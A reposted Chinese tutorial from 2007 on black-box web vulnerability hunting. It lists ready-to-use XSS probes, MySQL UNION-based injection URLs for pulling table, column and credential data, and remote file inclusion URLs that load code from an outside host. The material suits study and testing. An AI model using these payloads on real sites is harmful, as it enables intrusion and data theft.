												<a title="增大字体" style="CURSOR: hand; POSITION: relative" onclick="if(newasp_fontsize&lt;64){NewaspContentLabel.style.fontSize=(++newasp_fontsize)+&quot;pt&quot;;NewaspContentLabel.style.lineHeight=(++newasp_lineheight)+&quot;pt&quot;;}">
														<img height="15" src="http://www.hack58.net/images/2.gif" width="15" border="0" />
														<font color="#ff6600">增大字体</font>
												</a>
										</p>
										<div class="ContentFont" id="NewaspContentLabel" style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">
												<font id="font_word" style="FONT-SIZE: 14px; FONT-FAMILY: 宋体, Verdana, Arial, Helvetica, sans-serif">来源：安全焦点<br />作者：7all (sgh81_at_163.com)<br /><br />WEB漏洞挖掘技术<br /><br />|=---------------=[ WEB漏洞挖掘技术 ]=-----------------------------=|<br />|=-----------------------------------------------------------------=|<br />|=---------------=[ 7all&lt;7all7_at_163.com&gt; ]=----------------------=|<br />|=-----------------------------------------------------------------=|<br />|=---------------=[ bbs.cciss.cn ]=--------------------------------=|<br /><br />--]前言<br />漏洞挖掘技术一直是网络攻击者最感兴趣的问题,漏洞挖掘的范围也在随着技术的<br />提升而有所变化.在前期针对缓冲区溢出 格式化字符串 堆溢出 lib库溢出等技术都<br />是针对ELF文件(Linux可执行文件)或者PE文件(Win可执行文件)的漏洞挖掘技术.<br />在针对ELF文件 PE文件(*.exe与*.dll)的漏洞挖掘过程中,出现了很多的漏洞挖掘<br />技术,但是针对PE文件 ELF文件的漏洞挖掘始终停留在了黑盒测试(包括单元黑盒测试)<br />源代码审计等办法.通过RATS等源代码审计软件可以找到部分源代码级别的漏洞信息,<br />但是毕竟源代码审计软件寻找的多数为strcpy memcpy等存在缓冲区溢出遗患的C函数,<br />所以通过审计源代码的办法来进行漏洞挖掘是一个可能性系数很小的漏洞挖掘技术,而<br />针对软件的黑盒子测试虽然也能找到一些软件的漏洞,但可能性系数也会较小,在国外<br />的一些进行漏洞挖掘的办法已经慢慢的提升为自己写黑盒子测试代码,然后针对系统或<br />软件的某个功能模块进行模块化的漏洞挖掘技术.例如Linux内核的很多漏洞都是通过<br />fuzzing技术找到的,fuzzing即模糊测试的意思,大家可以理解为类似SQL盲注入类型的<br />攻击技术.<br />网络安全的界限在不断的提升,目前缓冲区溢出漏洞已经如MS SQL注入般的被很多人<br />堵死,而在进行网络入侵渗透的过程中,很多人渗透成功的着力点都是通过WEB开始的,<br />当然有些人是通过MS SQL注入,有些人通过其它的WEB漏洞技术一步步的走到了入侵成功<br />的步骤.我们下面将会讨论一些WEB漏洞挖掘的简单技术,通过这些简单技术的规则,然后<br />配合经验的提高,大家或许会得到意想不到的效果.<br /><br />--]WEB漏洞的分类<br />A: SQL注入(包括MSSQL MySQL Oracle等)<br />SQL注入漏洞,是依靠存在弱点的WEB脚本代码,来实现通过浏览器执行任意SQL语句,从而<br />实现最终获取某种权限的攻击技术.SQL注入的关键部分在于对元数据的利用,所谓元数据即<br />数据库的基础数据.例如我们可以通过database() version()来获得数据库的名称及版本,<br />而我们通过SQL内置函数获得的这些内容都属于数据库元数据的内容.理解了元数据的概念,<br />在后面的章节我会给大家简单的讲解下通过元数据来获取MySQL的数据表.<br /><br />B: 文件包含类型,如PHP的的远程 本地文件包含漏洞<br />文件包含漏洞是PHP程序特有的一个弱点攻击,原理就是在使用include时没有安全的编程,<br />而能够找到文件包含漏洞则是入侵一个WEB系统的很重要的因素,有了文件包含漏洞则可以<br />很快速的达到上传WEBSHELL,然后本地提升权限的作用.<br /><br />C: XSS<br />XSS漏洞是被很多人遗忘的漏洞,但是XSS也是一个比较危险的安全隐患,我看到很多国内介绍<br />XSS漏洞的文章大部分在如何欺骗管理员获得后台登陆帐户或者管理员的cookies文件.但这些<br />仅仅是XSS漏洞的简单用法,如果寻找到的XSS漏洞可以任意执行任何的Javascript脚本,那安全<br />性也是不容忽视的.通过Javascript脚本其实也可以做一些恶意的攻击,甚至可以获得一些WEB<br />程序的源代码,当然这个要看大家对Javascript脚本的熟悉程度.例如我们这几天公布的这个可<br />跨站执行任意Javascript脚本的漏洞,最后我也通过这个漏洞给客户演示了如何获取他们的服务<br />器信息,并最终实现得到其一定权限的方法.<br />同时例如session欺骗 cookies欺骗,目前我也把这些规入了XSS漏洞的范围,当然仅仅研究这<br />两个技术也是很值得大家去深入的进行漏洞挖掘的.<br /><br />--]WEB漏洞挖掘规则<br />我想给大家事先说明下,该文档的所有内容都为黑盒子测试的范围,也即使用这些漏洞挖掘规则,<br />大家仅仅需要一个WEB浏览器,如IE Firefox等即可,也无需读取WEB程序的源代码,只要某个规则<br />符合了漏洞规则的要求,大家即可以采取相关的漏洞攻击技术进行相应的漏洞攻击办法:)<br />再次的罗嗦一下,在本文档我没有实际的例子给大家,但是很多漏洞挖掘的规则都是一些经验的<br />积累,而且很多可能在实际进行漏洞挖掘时需要与实际情况进行分析处理,例如:<br />http://website/index1.php?id=&lt;script&gt;alert("111")&lt;/script&gt;,如果对方的代码过滤了"双引号<br />那么可以通过http://website/index1.php?id=&lt;script&gt;alert('111')&lt;/script&gt;,采用'单引号测试<br />若单引号也过滤呢?OK,我们这样来测试http://website/index1.php?id=&lt;script&gt;alert(111)&lt;/script&gt;<br />使用数字提交,这样测试XSS的漏洞就扩展到了三条:)有些具体的站点可能还会有很多的问题,例如:<br />通过构造HTML语句来实现XSS漏洞的挖掘等等.<br /><br />A: XSS的漏洞挖掘规则<br /><br /><br />http://website/index1.php?id=&lt;script&gt;alert("111")&lt;/script&gt;<br /><br />http://website/index1.php?id=&lt;script&gt;alert('111')&lt;/script&gt;<br /><br />http://website/index1.php?id=&lt;script&gt;alert(111)&lt;/script&gt;<br /><br />http://website/index1.php?id=&lt;body+onload=alert("1111")&gt;<br /><br />http://website/index1.php?id=&lt;body+onload=alert('1111')&gt;<br /><br />http://website/index1.php?id=&lt;body+onload=alert(1111)&gt;<br /><br />http://website/index1.php?id=&lt;img+src=http://OtherWebSite/x.gif+onload=alert("1111")&gt;<br /><br />http://website/index1.php?id=&lt;img+src=http://OtherWebSite/x.gif+onload=alert('1111')&gt;<br /><br />http://website/index1.php?id=&lt;img+src=http://OtherWebSite/x.gif+onload=alert(1111)&gt;<br /><br />http://website/index1.php?id=&lt;"<br /><br />http://website/index1.php?id=&lt;'<br /><br />http://website/index1.php?id=&lt;<br /><br />http://website/index1.php?id=&lt;!--<br /><br />http://website/index1.php?id=--&gt;<br /><br />http://website/index1.php?id=&lt;!-- --&gt;<br /><br /><br /><br />使用上面的这些简单漏洞规则,如果模糊测试一些站点的话,是可以找到一些XSS漏洞的,当然这些<br />不是全部的XSS漏洞规则,但是我觉得这些规则比较经典些:)我测试一些站点的时候,使用这些<br />规则基本上可以找到一些XSS漏洞.<br /><br />B: SQL Injection<br />现在,MSSQL的注入技术已经变的很简单,下面的内容我们针对mysql的注入和大家一起讨论下<br />相关的技术,这些技术有简单的,也有一些比较复杂的.另外mysql的注入工具目前没有任何比较<br />强的工具,目前书写一款功能较强的MySQL注入检测工具也基本纳入了2007年的计划内.<br />下面会针对各种规则,然后对这些规则进行简单的说明,很多规则我相信大家都用过的,不对<br />的地方希望大家给予指针.<br />下面的这四个语句判断是否存在mysql注入,其中'号类型的测试已经不是很可行,特别在PHP5和mysql<br />5的环境下:)<br /><br /><br />http://website/index1.php?id=1&amp;#39; <br /><br />http://website/index1.php?id=1 and 1=1<br /><br />http://website/index1.php?id=1 and 1=2<br /><br />http://website/index1.php?id=1 order by 4 //4为判断该表的列数,直到猜测到为止<br /><br /><br /><br />下面的语句来获取mysql的一些信息,这里我们假设我们使用order by语句判断出的列数为4<br /><br /><br />http://website/index1.php?id=1 and 1=1 union select 1,2,3,4<br /><br />http://website/index1.php?id=1 and 1=1 union select version(),database(),user(),4<br /><br />http://website/index1.php?id=1 and 1=1 union select 1/*<br /><br />http://website/index1.php?id=1 and 1=1 union select version()/*<br /><br />http://website/index1.php?id=1 and 1=1 union select databse()/*<br /><br /><br /><br />猜测表名:<br /><br /><br />http://website/index1.php?id=1 and 1=1 union select 1,2,3,4 from database.table where 1=2<br /><br />//where 1=2 不打印猜测表的内容<br /><br /><br /><br />这里的猜测就需要大家多靠经验了,如admin user articles news等等,而且必须在指定select<br />的字段个数再使用,否则mysql会报错.<br />http://website/index1.php?id=1 and 1=1 union select table_schema,table_name,table_rows,<br />table_count from information_schema.tables //如果执行这条语句是可行的,那么恭喜大家可以<br />得到更多的数据库信息了:)<br />上面我曾经提到过使用数据库的元数据来获取mysql的信息,就是这里的这个办法,当然前提是系统<br />管理员没有禁止mysql普通用户对元数据库的表查询,如果禁止了则该办法是无效的.<br />在开始分析mysql数据库到底可以执行到那种程度的注入情况下,我花了一天的时间分析了mysql的<br />系统架构,最终发现通过information_schema数据库提供给mysql用户的元数据可以得到一些mysql<br />数据库的基本信息,例如得到数据库的各个表信息等,还可以得到数据库的权限设置等信息,下面的<br />内容属于临时增加的一个章节,我们一起来讨论下information_schema数据库的一些我们用到的表<br />的具体字段到底是干什么的:)<br /><br /><br />1: KEY_COLUMN_USAGE表<br /><br />constraint_schema: 存放数据库名<br /><br />table_schema: 存放数据库名<br /><br />table_name: 存放数据库表信息<br /><br />column_name: 存放数据库的字段信息,一般可以获取第一个字段或者自增字段的信息<br /><br />2: SCHEMA表<br /><br />schema_name: 存放数据库名<br /><br />default_charater_set_name: 存放charset类型<br /><br />default_collation_name: 存放charset相关信息<br /><br />3: SCHEMA_PRIVILEGES表<br /><br />grantee: 存放数据库用户名<br /><br />table_schema: 表名<br /><br />privilege_type: 权限<br /><br />4: STATISTICS表<br /><br />table_schema: 存放数据库名<br /><br />table_name: 存放表名<br /><br />index_schema: 数据库名<br /><br />index_name: 是否缩引?<br /><br />column_name: 存放索引自增字段?<br /><br />5: TABLES表<br /><br />table_schema: 存放数据库名<br /><br />table_name: 存放表名<br /><br />table_type: 表类型 SYSTEM or BASE TABLE<br /><br />engin: MEMORY MYISAM InnoDB<br /><br />version:<br /><br />table_rows:表的行数<br /><br />auto_increment: 自增的总行数<br /><br />create_time: 创建表的时间<br /><br />update_time: 更新表的时间<br /><br />create_options: 创建表时的约束条件<br /><br />...<br /><br /><br /><br />有了这些以后,如果对方系统管理员忽略了这些,则可以达到我们不需要猜测表名而<br />直接获取数据库表名的结果.我在本地测试时一切OK:)<br /><br />猜测列名:<br />http://website/index1.php?id=1 and 1=1 union select username,2,3,4 from user where 1=2<br />按照这个规则依次类推,如果我们猜测到user表存在username字段,则程序执行是正常的,否则程序会<br />出错,也可以使用where 1=1来打印表的信息,通过这样的办法就可以获取mysql数据库的某些关键表<br />的字段信息,如:admin与password:)<br /><br />C: 文件包含漏洞<br />文件包含漏洞的测试,有以下几个比较简单且有效的办法.<br />1: 新建一个简单的php代码,如:&lt;? phpinfo(); ?&gt;,保存为*.txt格式<br />2: 新建一个简单的php代码,如:&lt;? phpinfo(); ?&gt;,保存为无后缀格式<br /><br />然后我们测试时只需要采取下面简单的办法即可,这里我们假设我们下面的文件URL为:<br /><br /><br />http://bbs.cciss.cn/include.txt<br /><br />http://bbs.cciss.cn/include<br /><br /><br /><br />漏洞规则:<br /><br /><br />http://website/file.php?inc=http://bbs.cciss.cn/include.txt<br /><br />http://website/file.php?inc=http://bbs.cciss.cn/include.txt?<br /><br />http://website/file.php?inc=http://bbs.cciss.cn/include?<br /><br />http://website/file.php?inc=http://bbs.cciss.cn/include<br /><br /><br /><br />使用上面的简单规则即可实现文件包含漏洞的测试,当然得根据具体的返回信息来判断.<br />例如从XSS漏洞的检测规则可能会发现包含文件漏洞:)<br /><br />如果我们知道PHP的某个函数存在缓冲区溢出,我们假设这个PHP的内置函数为phphtml(char *str),<br />那么我们如何利用这样的漏洞呢?<br />我们假设http://website/file.php?inc=test,这里的参数inc经过PHP代码时使用了phphtml内置<br />函数,则可以使用下面的办法来触发漏洞<br />http://website/file.php?inc=11111111111....n(n为触发漏洞的最大字符数)<br />当然类似这样的漏洞是需要写程序来自动运行的,然后来触发溢出并执行shellcode.<br />但这里也存在一个问题,即一般情况下,类似PHP本身的溢出漏洞的利用是有些难度存在的.<br /><br />--] 总结<br />针对WEB漏洞的挖掘,规则有N多,其中还有很多变种的规则.这里说的基本上是一些可以简单采取<br />手工办法测试的规则,更多的规则是依靠经验不断积累所致:)<br />本文比较简单,也没有什么技术含量,只是看到xfocus上介绍WEB漏洞的文章较少,所以才想到提交下,<br />希望对大家有所帮助.<br />write by 7all </font>
										</div>
										<div>
										</div>
								</td>
						</tr>
				</tbody>
		</table>
<img src ="http://www.cnitblog.com/lycou/aggbug/22515.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/lycou/" target="_blank">Lycou' Blog</a> 2007-02-01 15:48 <a href="http://www.cnitblog.com/lycou/articles/22515.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item></channel></rss>